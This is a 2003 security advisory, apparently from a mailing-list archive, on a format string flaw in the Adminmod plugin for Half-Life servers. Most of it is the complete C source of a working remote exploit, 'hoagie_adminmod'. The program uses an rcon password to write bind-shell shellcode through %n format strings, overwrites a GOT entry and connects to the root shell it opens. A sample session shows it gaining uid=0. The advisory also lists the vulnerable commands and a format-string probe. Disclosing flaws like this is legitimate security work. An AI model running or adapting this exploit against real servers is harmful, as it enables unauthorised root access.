[void.at Security Advisory VSA0302]
Adminmod[1] is a plugin for the "Half-Life Server", hosting
the most popular online game today, "Counter-Strike", among
others.
Overview
========
Due to a format string bug in adminmod, it is possible
for a remote attacker who knows the rcon-password to
remotely exploit the gameserver. Since most game-server-
admins I've seen are not very security-aware, the server
generally runs as root.
The rcon-password can be obtained using social engineering
or sniffing-techniques, since it is being transmitted
in plaintext. It is needed because the vulnerable function
can only be called via rcon.
Affected Versions
=================
Adminmod versions 2.50.25a and 2.50.50 on Windows and Linux,
possibly others.
Impact
======
High. Remote-shell and very likely remote-root.
Details
=======
Adminmod uses a pseudo-language (and even some kind of a virtual
machine) to implement its commands. Too bad noone cared about
format strings when writing the functions, so exactly the same
vulnerability can be triggered using one of the following commands:
admin_ban
admin_banip
admin_bury
admin_execclient
admin_gag
admin_godmode
admin_kick
admin_llama
admin_map
admin_noclip
admin_psay
admin_slap
admin_slay
admin_teleport
admin_unbury
admin_ungag
admin_unllama
admin_userorigin
admin_vote_kick
admin_vote_map
Seems like a cut-and-paste-error when you look at the code :-)
All these functions suffer from the improper use of "selfmessage",
like in the code for "admin_map":
if (valid_map(Data)==1) {
say_command(User,Command,Data);
changelevel(Data, 4);
} else {
selfmessage("Bad map name");
selfmessage(Data);
}
Try it out in rcon:
admin_command admin_map %08x
L 01/10/2003 - 17:15:05: Bad map name
L 01/10/2003 - 17:15:05: 434e2ae4
"selfmessage" calls "System_Response" with our string (util.cpp):
80 void System_Response(char *str,edict_t *pAdminEnt) {
81
82 if(pAdminEnt==NULL) {
83 UTIL_LogPrintf(str);
84 } else {
85 CLIENT_PRINTF( pAdminEnt, print_console,str);
86 }
87
88 }
Too bad, CLIENT_PRINTF is safe, so this vulnerability can only
be triggered via rcon (when we are at the console, pAdminEnt==NULL.)
UTIL_LogPrintf behaves like a normal printf-function.
Solution
========
Disable adminmod until a patched version becomes available.
Change the rcon-password.
Exploit
=======
Please find attached a demonstration exploit. Note that it will
only work against a Linux-server due to the exploitation technique.
This does NOT mean that Windows-servers are not vulnerable, they
still suffer from the same hole.
Sample exploitation session
===========================
greuff@saturn:~$ ./hoagie_adminmod localhost 27015 myprecious
hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin
by greuffat_private
Getting stackpop count....
Stackpops found: 29, Padding: 0
Writing shellcode....
Connecting to the shell...
Connect to the shell
id
uid=0(root) gid=0(root) groups=0(root),101(lpadmin)
exit
Discovered by
=============
greuff <greuffat_private>
Credits
=======
void.at
everyone who was at 19c3
References
==========
[1] http://www.adminmod.org
==================================================================
/*****************************************************************
* hoagie_adminmod.c
*
* Remote exploit for Halflife-Servers running the Adminmod-Plugin
* (rcon-password required)
*
* Binds a shell to port 30464/tcp and connects to it.
*
* Author: greuffat_private
*
* Tested on HL-Server v3.1.1.0 and AdminMod 2.50.26a, 2.50.50
*
* Credits:
* void.at
* Taeho Oh for using parts of his shellcode-connection code.
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****************************************************************/
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#define VSNPRINTF_GOT_ADDRESS 0x0804ce18
#define OFFSET 0x41414141
#define SB4(a) ((unsigned int)(a>>24))
#define SB3(a) ((unsigned int)((a>>16)&0xFF))
#define SB2(a) ((unsigned int)((a>>8)&0xFF))
#define SB1(a) ((unsigned int)(a&0XFF))
// forks and binds a shell to 30464/tcp. parent process exit()s.
char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06"
"\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
"\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
"\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77"
"\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
"\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
"\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
"\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
"\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
"\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
"\x24\x31\xc0\xb0\x0b\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80";
char server_ip[20];
char rcon_pwd[30];
int server_port;
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh()
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell\n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
if(inet_aton(server_ip,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the shell\n");
exit(0);
}
return sockfd;
}
void create_conn(int *sock, char *host, int port)
{
struct sockaddr_in sin;
struct timeval timeout;
sin.sin_family=AF_INET;
sin.sin_port=htons(port);
if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);
timeout.tv_sec=10;
timeout.tv_usec=0;
if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
sizeof(timeout))<0)
perror("setsockopt"),exit(1);
if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
sizeof(timeout))<0)
perror("setsockopt"),exit(1);
}
void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
{
char msg[2000];
struct sockaddr_in sin;
struct sockaddr_in sfrom;
fd_set fdset;
int dummy;
usleep(100);
sin.sin_family=AF_INET;
sin.sin_port=htons(port);
if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
perror("sendto"), exit(1);
if(reply)
{
if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
{
if(errno==EAGAIN)
{
// resend message
printf("msg stalled, resending...\n");
sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
perror("sendto"), exit(1);
else
printf("resend OK\n");
if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
perror("recvfrom"),exit(1);
}
else
perror("recvfrom"), exit(1);
}
if(strncmp(msg,"\xFF\xFF\xFF\xFF",4))
fprintf(stderr,"protocol error: reply\n"), exit(1);
strcpy(reply,msg+4);
}
}
void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char *reply_fun)
{
char reply[1000];
char msg[2000];
lowlevel_rcon(sock,host,port,"challenge rcon",reply);
if(!strstr(reply,"challenge rcon "))
fprintf(stderr,"protocol error\n"), exit(1);
reply[strlen(reply)-1]=0;
sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon "),rconpwd,cmd);
if(reply_fun)
lowlevel_rcon(sock,host,port,msg,reply);
else
lowlevel_rcon(sock,host,port,msg,NULL);
if(reply_fun)
strcpy(reply_fun,reply);
}
int get_padding(unsigned char c,int bytes_written)
{
int write_byte=c;
int already_written=bytes_written;
int padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
return padding;
}
void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
int *p4, int bytes_written)
{
// greetings to scud :-)
int write_byte;
int already_written;
int padding;
write_byte=SB1(addr);
already_written=bytes_written;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p1=padding;
write_byte=SB2(addr);
already_written+=padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p2=padding;
write_byte=SB3(addr);
already_written+=padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p3=padding;
write_byte=SB4(addr);
already_written+=padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p4=padding;
}
int main(int argc, char **argv)
{
int sock, stackpops, padding;
int i,j,bytes_written;
int p1,p2,p3,p4;
char cmd[1000], reply[1000];
unsigned long addr;
printf("hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin\n"
"by greuffat_private\n\n");
if(argc!=4)
{
printf("Usage: %s server_ip server_port rcon_password\n\n",argv[0]);
exit(1);
}
strcpy(server_ip,argv[1]);
server_port=strtol(argv[2],NULL,10);
strcpy(rcon_pwd,argv[3]);
create_conn(&sock,server_ip,server_port);
printf("Getting stackpop count...");
send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
stackpops=-1;
for(padding=0;padding<4 && stackpops==-1;padding++)
{
for(i=1;i<100 && stackpops==-1;i++)
{
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
sprintf(reply,"AAAA%%%d$08x",i);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
reply[strlen(reply)-1]=0;
if(strstr(reply,"AAAA41414141"))
{
stackpops=i;
bytes_written=4+padding;
}
printf(".");
fflush(stdout);
}
}
padding--;
if(stackpops==-1)
{
printf("\ncouldn't determine stackpop count. (I really tried hard!)\n");
exit(1);
}
printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding);
// inject shellcode
printf("Writing shellcode...");
addr=OFFSET;
for(i=0;i<strlen(shellcode);)
{
int t;
if((addr&0xFF)>0x75)
{
// leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
// distance is 0x13B-0x7A = 193d
unsigned long target=192;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding(0xe9,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding(target&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding((target>>8)&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding((target>>16)&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding((target>>24)&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr+=193;
}
else
{
// write shellcode-pieces
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding(shellcode[i],bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
i++;
}
printf(".");
fflush(stdout);
}
// overwrite GOT entry with shellcode address
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+28);
addr=VSNPRINTF_GOT_ADDRESS;
sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA"
"%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n",
addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,
(addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,
(addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF,
(addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF,
p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL);
sleep(1);
close(sock);
printf("\nConnecting to the shell...\n");
exec_sh(connect_sh());
return 0;
}
This archive was generated by hypermail 2b30 : Mon Jan 20 2003 - 15:08:25 PST